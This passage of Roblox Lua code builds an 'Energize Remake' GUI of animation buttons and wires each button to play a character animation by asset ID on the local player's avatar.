		SpinDance.Size = UDim2.new(0, 90, 0, 30)
		SpinDance.Font = Enum.Font.SourceSansSemibold
		SpinDance.Text = "Spin Dance"
		SpinDance.TextColor3 = Color3.new(1, 1, 1)
		SpinDance.TextSize = 15
	
		JumpingJacks.Name = "JumpingJacks"
		JumpingJacks.Parent = ScrollingFrame
		JumpingJacks.BackgroundColor3 = Color3.new(0, 0, 0)
		JumpingJacks.BackgroundTransparency = 0.30000001192093
		JumpingJacks.Position = UDim2.new(0.492957741, 0, 0.134652346, 0)
		JumpingJacks.Size = UDim2.new(0, 90, 0, 30)
		JumpingJacks.Font = Enum.Font.SourceSansSemibold
		JumpingJacks.Text = "Jumping Jacks"
		JumpingJacks.TextColor3 = Color3.new(1, 1, 1)
		JumpingJacks.TextSize = 15
	
		ArmDetach.Name = "ArmDetach"
		ArmDetach.Parent = ScrollingFrame
		ArmDetach.BackgroundColor3 = Color3.new(0, 0, 0)
		ArmDetach.BackgroundTransparency = 0.30000001192093
		ArmDetach.Position = UDim2.new(0.0469483584, 0, 0.241986871, 0)
		ArmDetach.Size = UDim2.new(0, 90, 0, 30)
		ArmDetach.Font = Enum.Font.SourceSansSemibold
		ArmDetach.Text = "Arm Detach"
		ArmDetach.TextColor3 = Color3.new(1, 1, 1)
		ArmDetach.TextSize = 15
	
		MegaInsane.Name = "MegaInsane"
		MegaInsane.Parent = ScrollingFrame
		MegaInsane.BackgroundColor3 = Color3.new(0, 0, 0)
		MegaInsane.BackgroundTransparency = 0.30000001192093
		MegaInsane.Position = UDim2.new(0.267605633, 0, 0.241986871, 0)
		MegaInsane.Size = UDim2.new(0, 90, 0, 30)
		MegaInsane.Font = Enum.Font.SourceSansSemibold
		MegaInsane.Text = "Mega Insane"
		MegaInsane.TextColor3 = Color3.new(1, 1, 1)
		MegaInsane.TextSize = 15
	
		WeirdMove.Name = "WeirdMove"
		WeirdMove.Parent = ScrollingFrame
		WeirdMove.BackgroundColor3 = Color3.new(0, 0, 0)
		WeirdMove.BackgroundTransparency = 0.30000001192093
		WeirdMove.Position = UDim2.new(0.713614941, 0, 0.241986871, 0)
		WeirdMove.Size = UDim2.new(0, 90, 0, 30)
		WeirdMove.Font = Enum.Font.SourceSansSemibold
		WeirdMove.Text = "Weird Move"
		WeirdMove.TextColor3 = Color3.new(1, 1, 1)
		WeirdMove.TextSize = 15
	
		DinoWalk.Name = "DinoWalk"
		DinoWalk.Parent = ScrollingFrame
		DinoWalk.BackgroundColor3 = Color3.new(0, 0, 0)
		DinoWalk.BackgroundTransparency = 0.30000001192093
		DinoWalk.Position = UDim2.new(0.492957741, 0, 0.241986871, 0)
		DinoWalk.Size = UDim2.new(0, 90, 0, 30)
		DinoWalk.Font = Enum.Font.SourceSansSemibold
		DinoWalk.Text = "Dino Walk"
		DinoWalk.TextColor3 = Color3.new(1, 1, 1)
		DinoWalk.TextSize = 15
	
		FloorCrawl.Name = "FloorCrawl"
		FloorCrawl.Parent = ScrollingFrame
		FloorCrawl.BackgroundColor3 = Color3.new(0, 0, 0)
		FloorCrawl.BackgroundTransparency = 0.30000001192093
		FloorCrawl.Position = UDim2.new(0.492957741, 0, 0.349321395, 0)
		FloorCrawl.Size = UDim2.new(0, 90, 0, 30)
		FloorCrawl.Font = Enum.Font.SourceSansSemibold
		FloorCrawl.Text = "Floor Crawl"
		FloorCrawl.TextColor3 = Color3.new(1, 1, 1)
		FloorCrawl.TextSize = 15
	
		Spinner.Name = "Spinner"
		Spinner.Parent = ScrollingFrame
		Spinner.BackgroundColor3 = Color3.new(0, 0, 0)
		Spinner.BackgroundTransparency = 0.30000001192093
		Spinner.Position = UDim2.new(0.267605633, 0, 0.349321395, 0)
		Spinner.Size = UDim2.new(0, 90, 0, 30)
		Spinner.Font = Enum.Font.SourceSansSemibold
		Spinner.Text = "Spinner"
		Spinner.TextColor3 = Color3.new(1, 1, 1)
		Spinner.TextSize = 15
	
		Faint.Name = "Faint"
		Faint.Parent = ScrollingFrame
		Faint.BackgroundColor3 = Color3.new(0, 0, 0)
		Faint.BackgroundTransparency = 0.30000001192093
		Faint.Position = UDim2.new(0.713614941, 0, 0.349321395, 0)
		Faint.Size = UDim2.new(0, 90, 0, 30)
		Faint.Font = Enum.Font.SourceSansSemibold
		Faint.Text = "Faint"
		Faint.TextColor3 = Color3.new(1, 1, 1)
		Faint.TextSize = 15
	
		Levitate.Name = "Levitate"
		Levitate.Parent = ScrollingFrame
		Levitate.BackgroundColor3 = Color3.new(0, 0, 0)
		Levitate.BackgroundTransparency = 0.30000001192093
		Levitate.Position = UDim2.new(0.0469483584, 0, 0.349321395, 0)
		Levitate.Size = UDim2.new(0, 90, 0, 30)
		Levitate.Font = Enum.Font.SourceSansSemibold
		Levitate.Text = "Levitate"
		Levitate.TextColor3 = Color3.new(1, 1, 1)
		Levitate.TextSize = 15
	
		LoopHead.Name = "LoopHead"
		LoopHead.Parent = ScrollingFrame
		LoopHead.BackgroundColor3 = Color3.new(0, 0, 0)
		LoopHead.BackgroundTransparency = 0.30000001192093
		LoopHead.Position = UDim2.new(0.0469483584, 0, 0.456655949, 0)
		LoopHead.Size = UDim2.new(0, 90, 0, 30)
		LoopHead.Font = Enum.Font.SourceSansSemibold
		LoopHead.Text = "Loop Head"
		LoopHead.TextColor3 = Color3.new(1, 1, 1)
		LoopHead.TextSize = 15
	
		HeadThrow.Name = "HeadThrow"
		HeadThrow.Parent = ScrollingFrame
		HeadThrow.BackgroundColor3 = Color3.new(0, 0, 0)
		HeadThrow.BackgroundTransparency = 0.30000001192093
		HeadThrow.Position = UDim2.new(0.267605633, 0, 0.456655949, 0)
		HeadThrow.Size = UDim2.new(0, 90, 0, 30)
		HeadThrow.Font = Enum.Font.SourceSansSemibold
		HeadThrow.Text = "Head Throw"
		HeadThrow.TextColor3 = Color3.new(1, 1, 1)
		HeadThrow.TextSize = 15
	
		CloneIllusion.Name = "CloneIllusion"
		CloneIllusion.Parent = ScrollingFrame
		CloneIllusion.BackgroundColor3 = Color3.new(0, 0, 0)
		CloneIllusion.BackgroundTransparency = 0.30000001192093
		CloneIllusion.Position = UDim2.new(0.713614941, 0, 0.456655949, 0)
		CloneIllusion.Size = UDim2.new(0, 90, 0, 30)
		CloneIllusion.Font = Enum.Font.SourceSansSemibold
		CloneIllusion.Text = "Clone Illusion"
		CloneIllusion.TextColor3 = Color3.new(1, 1, 1)
		CloneIllusion.TextSize = 15
	
		Dab.Name = "Dab"
		Dab.Parent = ScrollingFrame
		Dab.BackgroundColor3 = Color3.new(0, 0, 0)
		Dab.BackgroundTransparency = 0.30000001192093
		Dab.Position = UDim2.new(0.492957741, 0, 0.456655949, 0)
		Dab.Size = UDim2.new(0, 90, 0, 30)
		Dab.Font = Enum.Font.SourceSansSemibold
		Dab.Text = "Dab"
		Dab.TextColor3 = Color3.new(1, 1, 1)
		Dab.TextSize = 15
	
		BarrelRoll.Name = "BarrelRoll"
		BarrelRoll.Parent = ScrollingFrame
		BarrelRoll.BackgroundColor3 = Color3.new(0, 0, 0)
		BarrelRoll.BackgroundTransparency = 0.30000001192093
		BarrelRoll.Position = UDim2.new(0.492957741, 0, 0.563990533, 0)
		BarrelRoll.Size = UDim2.new(0, 90, 0, 30)
		BarrelRoll.Font = Enum.Font.SourceSansSemibold
		BarrelRoll.Text = "Barrel Roll"
		BarrelRoll.TextColor3 = Color3.new(1, 1, 1)
		BarrelRoll.TextSize = 15
	
		Insane.Name = "Insane"
		Insane.Parent = ScrollingFrame
		Insane.BackgroundColor3 = Color3.new(0, 0, 0)
		Insane.BackgroundTransparency = 0.30000001192093
		Insane.Position = UDim2.new(0.267605633, 0, 0.563990533, 0)
		Insane.Size = UDim2.new(0, 90, 0, 30)
		Insane.Font = Enum.Font.SourceSansSemibold
		Insane.Text = "Insane"
		Insane.TextColor3 = Color3.new(1, 1, 1)
		Insane.TextSize = 15
	
		SwordSlam.Name = "SwordSlam"
		SwordSlam.Parent = ScrollingFrame
		SwordSlam.BackgroundColor3 = Color3.new(0, 0, 0)
		SwordSlam.BackgroundTransparency = 0.30000001192093
		SwordSlam.Position = UDim2.new(0.713614941, 0, 0.563990533, 0)
		SwordSlam.Size = UDim2.new(0, 90, 0, 30)
		SwordSlam.Font = Enum.Font.SourceSansSemibold
		SwordSlam.Text = "Sword Slam"
		SwordSlam.TextColor3 = Color3.new(1, 1, 1)
		SwordSlam.TextSize = 15
	
		MovingDance.Name = "MovingDance"
		MovingDance.Parent = ScrollingFrame
		MovingDance.BackgroundColor3 = Color3.new(0, 0, 0)
		MovingDance.BackgroundTransparency = 0.30000001192093
		MovingDance.Position = UDim2.new(0.0469483584, 0, 0.563990533, 0)
		MovingDance.Size = UDim2.new(0, 90, 0, 30)
		MovingDance.Font = Enum.Font.SourceSansSemibold
		MovingDance.Text = "Moving Dance"
		MovingDance.TextColor3 = Color3.new(1, 1, 1)
		MovingDance.TextSize = 15
	
		ArmTurbine.Name = "ArmTurbine"
		ArmTurbine.Parent = ScrollingFrame
		ArmTurbine.BackgroundColor3 = Color3.new(0, 0, 0)
		ArmTurbine.BackgroundTransparency = 0.30000001192093
		ArmTurbine.Position = UDim2.new(0.267605633, 0, 0.671325028, 0)
		ArmTurbine.Size = UDim2.new(0, 90, 0, 30)
		ArmTurbine.Font = Enum.Font.SourceSansSemibold
		ArmTurbine.Text = "Arm Turbine"
		ArmTurbine.TextColor3 = Color3.new(1, 1, 1)
		ArmTurbine.TextSize = 15
	
		SuperPunch.Name = "SuperPunch"
		SuperPunch.Parent = ScrollingFrame
		SuperPunch.BackgroundColor3 = Color3.new(0, 0, 0)
		SuperPunch.BackgroundTransparency = 0.30000001192093
		SuperPunch.Position = UDim2.new(0.0469483584, 0, 0.671325028, 0)
		SuperPunch.Size = UDim2.new(0, 90, 0, 30)
		SuperPunch.Font = Enum.Font.SourceSansSemibold
		SuperPunch.Text = "Super Punch"
		SuperPunch.TextColor3 = Color3.new(1, 1, 1)
		SuperPunch.TextSize = 15
	
		Scared.Name = "Scared"
		Scared.Parent = ScrollingFrame
		Scared.BackgroundColor3 = Color3.new(0, 0, 0)
		Scared.BackgroundTransparency = 0.30000001192093
		Scared.Position = UDim2.new(0.267605633, 0, 0.778659523, 0)
		Scared.Size = UDim2.new(0, 90, 0, 30)
		Scared.Font = Enum.Font.SourceSansSemibold
		Scared.Text = "Scared"
		Scared.TextColor3 = Color3.new(1, 1, 1)
		Scared.TextSize = 15
	
		LoopSlam.Name = "LoopSlam"
		LoopSlam.Parent = ScrollingFrame
		LoopSlam.BackgroundColor3 = Color3.new(0, 0, 0)
		LoopSlam.BackgroundTransparency = 0.30000001192093
		LoopSlam.Position = UDim2.new(0.713614941, 0, 0.671325028, 0)
		LoopSlam.Size = UDim2.new(0, 90, 0, 30)
		LoopSlam.Font = Enum.Font.SourceSansSemibold
		LoopSlam.Text = "Loop Slam"
		LoopSlam.TextColor3 = Color3.new(1, 1, 1)
		LoopSlam.TextSize = 15
	
		HeroJump.Name = "HeroJump"
		HeroJump.Parent = ScrollingFrame
		HeroJump.BackgroundColor3 = Color3.new(0, 0, 0)
		HeroJump.BackgroundTransparency = 0.30000001192093
		HeroJump.Position = UDim2.new(0.0469483584, 0, 0.778659523, 0)
		HeroJump.Size = UDim2.new(0, 90, 0, 30)
		HeroJump.Font = Enum.Font.SourceSansSemibold
		HeroJump.Text = "Hero Jump"
		HeroJump.TextColor3 = Color3.new(1, 1, 1)
		HeroJump.TextSize = 15
	
		SpinDance2.Name = "SpinDance2"
		SpinDance2.Parent = ScrollingFrame
		SpinDance2.BackgroundColor3 = Color3.new(0, 0, 0)
		SpinDance2.BackgroundTransparency = 0.30000001192093
		SpinDance2.Position = UDim2.new(0.713614941, 0, 0.778659523, 0)
		SpinDance2.Size = UDim2.new(0, 90, 0, 30)
		SpinDance2.Font = Enum.Font.SourceSansSemibold
		SpinDance2.Text = "Spin Dance 2"
		SpinDance2.TextColor3 = Color3.new(1, 1, 1)
		SpinDance2.TextSize = 15
	
		SwordSlice.Name = "SwordSlice"
		SwordSlice.Parent = ScrollingFrame
		SwordSlice.BackgroundColor3 = Color3.new(0, 0, 0)
		SwordSlice.BackgroundTransparency = 0.30000001192093
		SwordSlice.Position = UDim2.new(0.492957741, 0, 0.671325028, 0)
		SwordSlice.Size = UDim2.new(0, 90, 0, 30)
		SwordSlice.Font = Enum.Font.SourceSansSemibold
		SwordSlice.Text = "Sword Slice"
		SwordSlice.TextColor3 = Color3.new(1, 1, 1)
		SwordSlice.TextSize = 15
	
		FloatingHead.Name = "FloatingHead"
		FloatingHead.Parent = ScrollingFrame
		FloatingHead.BackgroundColor3 = Color3.new(0, 0, 0)
		FloatingHead.BackgroundTransparency = 0.30000001192093
		FloatingHead.Position = UDim2.new(0.492957741, 0, 0.778659523, 0)
		FloatingHead.Size = UDim2.new(0, 90, 0, 30)
		FloatingHead.Font = Enum.Font.SourceSansSemibold
		FloatingHead.Text = "Floating Head"
		FloatingHead.TextColor3 = Color3.new(1, 1, 1)
		FloatingHead.TextSize = 15
	
		InsaneArms.Name = "InsaneArms"
		InsaneArms.Parent = ScrollingFrame
		InsaneArms.BackgroundColor3 = Color3.new(0, 0, 0)
		InsaneArms.BackgroundTransparency = 0.30000001192093
		InsaneArms.Position = UDim2.new(0.0469483584, 0, 0.888975561, 0)
		InsaneArms.Size = UDim2.new(0, 90, 0, 30)
		InsaneArms.Font = Enum.Font.SourceSansSemibold
		InsaneArms.Text = "Insane Arms"
		InsaneArms.TextColor3 = Color3.new(1, 1, 1)
		InsaneArms.TextSize = 15
	
		SuperFaint.Name = "SuperFaint"
		SuperFaint.Parent = ScrollingFrame
		SuperFaint.BackgroundColor3 = Color3.new(0, 0, 0)
		SuperFaint.BackgroundTransparency = 0.30000001192093
		SuperFaint.Position = UDim2.new(0.267605633, 0, 0.888975561, 0)
		SuperFaint.Size = UDim2.new(0, 90, 0, 30)
		SuperFaint.Font = Enum.Font.SourceSansSemibold
		SuperFaint.Text = "Super Faint"
		SuperFaint.TextColor3 = Color3.new(1, 1, 1)
		SuperFaint.TextSize = 15
	
		FloatSit.Name = "FloatSit"
		FloatSit.Parent = ScrollingFrame
		FloatSit.BackgroundColor3 = Color3.new(0, 0, 0)
		FloatSit.BackgroundTransparency = 0.30000001192093
		FloatSit.Position = UDim2.new(0.492957741, 0, 0.888975561, 0)
		FloatSit.Size = UDim2.new(0, 90, 0, 30)
		FloatSit.Font = Enum.Font.SourceSansSemibold
		FloatSit.Text = "FloatSit"
		FloatSit.TextColor3 = Color3.new(1, 1, 1)
		FloatSit.TextSize = 15
	
		BowDown.Name = "BowDown"
		BowDown.Parent = ScrollingFrame
		BowDown.BackgroundColor3 = Color3.new(0, 0, 0)
		BowDown.BackgroundTransparency = 0.30000001192093
		BowDown.Position = UDim2.new(0.713614941, 0, 0.888975561, 0)
		BowDown.Size = UDim2.new(0, 90, 0, 30)
		BowDown.Font = Enum.Font.SourceSansSemibold
		BowDown.Text = "Bow Down"
		BowDown.TextColor3 = Color3.new(1, 1, 1)
		BowDown.TextSize = 15
	
		ScrollingFrameR15.Name = "ScrollingFrameR15"
		ScrollingFrameR15.Parent = MainFrame
		ScrollingFrameR15.BackgroundColor3 = Color3.new(0, 0, 0)
		ScrollingFrameR15.BackgroundTransparency = 0.60000002384186
		ScrollingFrameR15.Position = UDim2.new(-0.00150352798, 0, 0.0951187983, 0)
		ScrollingFrameR15.Size = UDim2.new(0, 427, 0, 207)
		ScrollingFrameR15.CanvasSize = UDim2.new(0, 0, 0.430000007, 0)
		ScrollingFrameR15.ScrollBarThickness = 10
	
		FloatSlash.Name = "FloatSlash"
		FloatSlash.Parent = ScrollingFrameR15
		FloatSlash.BackgroundColor3 = Color3.new(0, 0, 0)
		FloatSlash.BackgroundTransparency = 0.30000001192093
		FloatSlash.Position = UDim2.new(0.0563380271, 0, 0.0405257866, 0)
		FloatSlash.Size = UDim2.new(0, 90, 0, 30)
		FloatSlash.Font = Enum.Font.SourceSansSemibold
		FloatSlash.Text = "Float Slash"
		FloatSlash.TextColor3 = Color3.new(1, 1, 1)
		FloatSlash.TextSize = 15
	
		ArmsOut.Name = "ArmsOut"
		ArmsOut.Parent = ScrollingFrameR15
		ArmsOut.BackgroundColor3 = Color3.new(0, 0, 0)
		ArmsOut.BackgroundTransparency = 0.30000001192093
		ArmsOut.Position = UDim2.new(0.28169015, 0, 0.0405257866, 0)
		ArmsOut.Size = UDim2.new(0, 90, 0, 30)
		ArmsOut.Font = Enum.Font.SourceSansSemibold
		ArmsOut.Text = " Arms Out"
		ArmsOut.TextColor3 = Color3.new(1, 1, 1)
		ArmsOut.TextSize = 15
	
		DownSlash.Name = "DownSlash"
		DownSlash.Parent = ScrollingFrameR15
		DownSlash.BackgroundColor3 = Color3.new(0, 0, 0)
		DownSlash.BackgroundTransparency = 0.30000001192093
		DownSlash.Position = UDim2.new(0.507042229, 0, 0.0405257866, 0)
		DownSlash.Size = UDim2.new(0, 90, 0, 30)
		DownSlash.Font = Enum.Font.SourceSansSemibold
		DownSlash.Text = "Down Slash"
		DownSlash.TextColor3 = Color3.new(1, 1, 1)
		DownSlash.TextSize = 15
	
		R15Spinner.Name = "R15Spinner"
		R15Spinner.Parent = ScrollingFrameR15
		R15Spinner.BackgroundColor3 = Color3.new(0, 0, 0)
		R15Spinner.BackgroundTransparency = 0.30000001192093
		R15Spinner.Position = UDim2.new(0.732394338, 0, 0.0405257866, 0)
		R15Spinner.Size = UDim2.new(0, 90, 0, 30)
		R15Spinner.Font = Enum.Font.SourceSansSemibold
		R15Spinner.Text = "Spinner"
		R15Spinner.TextColor3 = Color3.new(1, 1, 1)
		R15Spinner.TextSize = 15
	
		WeirdZombie.Name = "WeirdZombie"
		WeirdZombie.Parent = ScrollingFrameR15
		WeirdZombie.BackgroundColor3 = Color3.new(0, 0, 0)
		WeirdZombie.BackgroundTransparency = 0.30000001192093
		WeirdZombie.Position = UDim2.new(0.28169015, 0, 0.213602722, 0)
		WeirdZombie.Size = UDim2.new(0, 90, 0, 30)
		WeirdZombie.Font = Enum.Font.SourceSansSemibold
		WeirdZombie.Text = "Weird Zombie"
		WeirdZombie.TextColor3 = Color3.new(1, 1, 1)
		WeirdZombie.TextSize = 15
	
		CrazySlash.Name = "CrazySlash"
		CrazySlash.Parent = ScrollingFrameR15
		CrazySlash.BackgroundColor3 = Color3.new(0, 0, 0)
		CrazySlash.BackgroundTransparency = 0.30000001192093
		CrazySlash.Position = UDim2.new(0.0563380271, 0, 0.213602722, 0)
		CrazySlash.Size = UDim2.new(0, 90, 0, 30)
		CrazySlash.Font = Enum.Font.SourceSansSemibold
		CrazySlash.Text = "Crazy Slash"
		CrazySlash.TextColor3 = Color3.new(1, 1, 1)
		CrazySlash.TextSize = 15
	
		Pull.Name = "Pull"
		Pull.Parent = ScrollingFrameR15
		Pull.BackgroundColor3 = Color3.new(0, 0, 0)
		Pull.BackgroundTransparency = 0.30000001192093
		Pull.Position = UDim2.new(0.507042229, 0, 0.213602722, 0)
		Pull.Size = UDim2.new(0, 90, 0, 30)
		Pull.Font = Enum.Font.SourceSansSemibold
		Pull.Text = "Pull"
		Pull.TextColor3 = Color3.new(1, 1, 1)
		Pull.TextSize = 15
	
		Open.Name = "Open"
		Open.Parent = ScrollingFrameR15
		Open.BackgroundColor3 = Color3.new(0, 0, 0)
		Open.BackgroundTransparency = 0.30000001192093
		Open.Position = UDim2.new(0.732394338, 0, 0.213602722, 0)
		Open.Size = UDim2.new(0, 90, 0, 30)
		Open.Font = Enum.Font.SourceSansSemibold
		Open.Text = "Open"
		Open.TextColor3 = Color3.new(1, 1, 1)
		Open.TextSize = 15
	
		CircleArm.Name = "CircleArm"
		CircleArm.Parent = ScrollingFrameR15
		CircleArm.BackgroundColor3 = Color3.new(0, 0, 0)
		CircleArm.BackgroundTransparency = 0.30000001192093
		CircleArm.Position = UDim2.new(0.0563380271, 0, 0.386679649, 0)
		CircleArm.Size = UDim2.new(0, 90, 0, 30)
		CircleArm.Font = Enum.Font.SourceSansSemibold
		CircleArm.Text = "Circle Arm"
		CircleArm.TextColor3 = Color3.new(1, 1, 1)
		CircleArm.TextSize = 15
	
		Bend.Name = "Bend"
		Bend.Parent = ScrollingFrameR15
		Bend.BackgroundColor3 = Color3.new(0, 0, 0)
		Bend.BackgroundTransparency = 0.30000001192093
		Bend.Position = UDim2.new(0.28169015, 0, 0.386679649, 0)
		Bend.Size = UDim2.new(0, 90, 0, 30)
		Bend.Font = Enum.Font.SourceSansSemibold
		Bend.Text = "Bend"
		Bend.TextColor3 = Color3.new(1, 1, 1)
		Bend.TextSize = 15
	
		RotateSlash.Name = "RotateSlash"
		RotateSlash.Parent = ScrollingFrameR15
		RotateSlash.BackgroundColor3 = Color3.new(0, 0, 0)
		RotateSlash.BackgroundTransparency = 0.30000001192093
		RotateSlash.Position = UDim2.new(0.507042229, 0, 0.386679649, 0)
		RotateSlash.Size = UDim2.new(0, 90, 0, 30)
		RotateSlash.Font = Enum.Font.SourceSansSemibold
		RotateSlash.Text = "Rotate Slash"
		RotateSlash.TextColor3 = Color3.new(1, 1, 1)
		RotateSlash.TextSize = 15
	
		FlingArms.Name = "FlingArms"
		FlingArms.Parent = ScrollingFrameR15
		FlingArms.BackgroundColor3 = Color3.new(0, 0, 0)
		FlingArms.BackgroundTransparency = 0.30000001192093
		FlingArms.Position = UDim2.new(0.732394338, 0, 0.386679649, 0)
		FlingArms.Size = UDim2.new(0, 90, 0, 30)
		FlingArms.Font = Enum.Font.SourceSansSemibold
		FlingArms.Text = "Fling Arms"
		FlingArms.TextColor3 = Color3.new(1, 1, 1)
		FlingArms.TextSize = 15
	
		SideFrame.Name = "SideFrame"
		SideFrame.Active = true
		SideFrame.Draggable = true
		SideFrame.Visible = false
		SideFrame.Parent = Energize
		SideFrame.BackgroundColor3 = Color3.new(0.0823529, 0.0823529, 0.0823529)
		SideFrame.BackgroundTransparency = 0.15000000596046
		SideFrame.Position = UDim2.new(0.502199769, 0, 0.55104512, 0)
		SideFrame.Size = UDim2.new(0, 426, 0, 25)
	
		OpenGUI.Name = "OpenGUI"
		OpenGUI.Parent = SideFrame
		OpenGUI.BackgroundColor3 = Color3.new(0, 0, 0)
		OpenGUI.BackgroundTransparency = 0.15000000596046
		OpenGUI.BorderSizePixel = 0
		OpenGUI.Position = UDim2.new(0.967136145, 0, 0, 0)
		OpenGUI.Size = UDim2.new(0, 15, 0, 15)
		OpenGUI.Font = Enum.Font.SourceSansSemibold
		OpenGUI.Text = "X"
		OpenGUI.TextColor3 = Color3.new(1, 1, 1)
		OpenGUI.TextSize = 14
	
		SideFrameTitle.Name = "SideFrameTitle"
		SideFrameTitle.Parent = SideFrame
		SideFrameTitle.BackgroundColor3 = Color3.new(1, 1, 1)
		SideFrameTitle.BackgroundTransparency = 1
		SideFrameTitle.Position = UDim2.new(0.364739805, 0, 0, 0)
		SideFrameTitle.Size = UDim2.new(0, 115, 0, 25)
		SideFrameTitle.Font = Enum.Font.SourceSansSemibold
		SideFrameTitle.Text = "Energize Remake"
		SideFrameTitle.TextColor3 = Color3.new(1, 1, 1)
		SideFrameTitle.TextSize = 17
		-- Scripts:
		col = Color3.fromRGB(0, 0, 0)
		loc = Color3.fromRGB(255, 117, 19)
		rcol = Color3.fromRGB(0, 0, 0)
		rloc = Color3.fromRGB(255, 117, 19)
	
		CloseGUI.MouseButton1Click:connect(function()
			MainFrame.Visible = false
			SideFrame.Visible = true
			SideFrame.Position = MainFrame.Position
		end)
	
		OpenGUI.MouseButton1Click:connect(function()
			MainFrame.Visible = true
			SideFrame.Visible = false
			MainFrame.Position = SideFrame.Position
		end)
	
		if (game:GetService"Players".LocalPlayer.Character:WaitForChild("Humanoid").RigType == Enum.HumanoidRigType.R15) then
			ScrollingFrame.Visible = false
			ScrollingFrameR15.Visible = true
			CheckR.Text = "Showing R15 Animations"
		else
			ScrollingFrame.Visible = true
			ScrollingFrameR15.Visible = false
			CheckR.Text = "Showing R6 Animations"
		end
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://35154961"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local HeadThrowACTIVE = false
		HeadThrow.MouseButton1Click:connect(function()
			HeadThrowACTIVE = not HeadThrowACTIVE
			if HeadThrowACTIVE then
				HeadThrow.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if HeadThrowACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				HeadThrow.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://121572214"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local FloatingHeadACTIVE = false
		FloatingHead.MouseButton1Click:connect(function()
			FloatingHeadACTIVE = not FloatingHeadACTIVE
			if FloatingHeadACTIVE then
				track:Play(.1, 1, 1)
				FloatingHead.BackgroundColor3 = loc
			else
				track:Stop()
				FloatingHead.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://182724289"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local CrouchACTIVE = false
		Crouch.MouseButton1Click:connect(function()
			CrouchACTIVE = not CrouchACTIVE
			if CrouchACTIVE then
				track:Play(.1, 1, 1)
				Crouch.BackgroundColor3 = loc
			else
				track:Stop()
				Crouch.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://282574440"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local FloorCrawlACTIVE = false
		FloorCrawl.MouseButton1Click:connect(function()
			FloorCrawlACTIVE = not FloorCrawlACTIVE
			if FloorCrawlACTIVE then
				track:Play(.1, 1, 1)
				FloorCrawl.BackgroundColor3 = loc
			else
				track:Stop()
				FloorCrawl.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204328711"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local DinoWalkACTIVE = false
		DinoWalk.MouseButton1Click:connect(function()
			DinoWalkACTIVE = not DinoWalkACTIVE
			if DinoWalkACTIVE then
				track:Play(.1, 1, 1)
				DinoWalk.BackgroundColor3 = loc
			else
				track:Stop()
				DinoWalk.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://429681631"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local JumpingJacksACTIVE = false
		JumpingJacks.MouseButton1Click:connect(function()
			JumpingJacksACTIVE = not JumpingJacksACTIVE
			if JumpingJacksACTIVE then
				track:Play(.1, 1, 1)
				JumpingJacks.BackgroundColor3 = loc
			else
				track:Stop()
				JumpingJacks.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://35154961"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local LoopHeadACTIVE = false
		LoopHead.MouseButton1Click:connect(function()
			LoopHeadACTIVE = not LoopHeadACTIVE
			if LoopHeadACTIVE then
				LoopHead.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if LoopHeadACTIVE then
							track:Play(.5, 1, 1e6)
						end
					end
				end
			else
				track:Stop()
				LoopHead.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://184574340"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local HeroJumpACTIVE = false
		HeroJump.MouseButton1Click:connect(function()
			HeroJumpACTIVE = not HeroJumpACTIVE
			if HeroJumpACTIVE then
				HeroJump.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if HeroJumpACTIVE then
							track:Play(.1, 1, 1)
						end
					end
				end
			else
				track:Stop()
				HeroJump.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://181526230"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local FaintACTIVE = false
		Faint.MouseButton1Click:connect(function()
			FaintACTIVE = not FaintACTIVE
			if FaintACTIVE then
				track:Play(.1, 1, 1)
				Faint.BackgroundColor3 = loc
			else
				track:Stop()
				Faint.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://181525546"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local FloorFaintACTIVE = false
		FloorFaint.MouseButton1Click:connect(function()
			FloorFaintACTIVE = not FloorFaintACTIVE
			if FloorFaintACTIVE then
				FloorFaint.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if FloorFaintACTIVE then
							track:Play(.1, 1, 2)
						end
					end
				end
			else
				track:Stop()
				FloorFaint.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://181525546"
		local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
		local SuperFaintACTIVE = false
		SuperFaint.MouseButton1Click:connect(function()
			SuperFaintACTIVE = not SuperFaintACTIVE
			if SuperFaintACTIVE then
				SuperFaint.BackgroundColor3 = loc
				while wait() do
					if track.IsPlaying == false then
						if SuperFaintACTIVE then
							track:Play(.1, 0.5, 40)
						end
					end
				end
			else
				track:Stop()
				SuperFaint.BackgroundColor3 = col
			end
		end)
	
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://313762630"
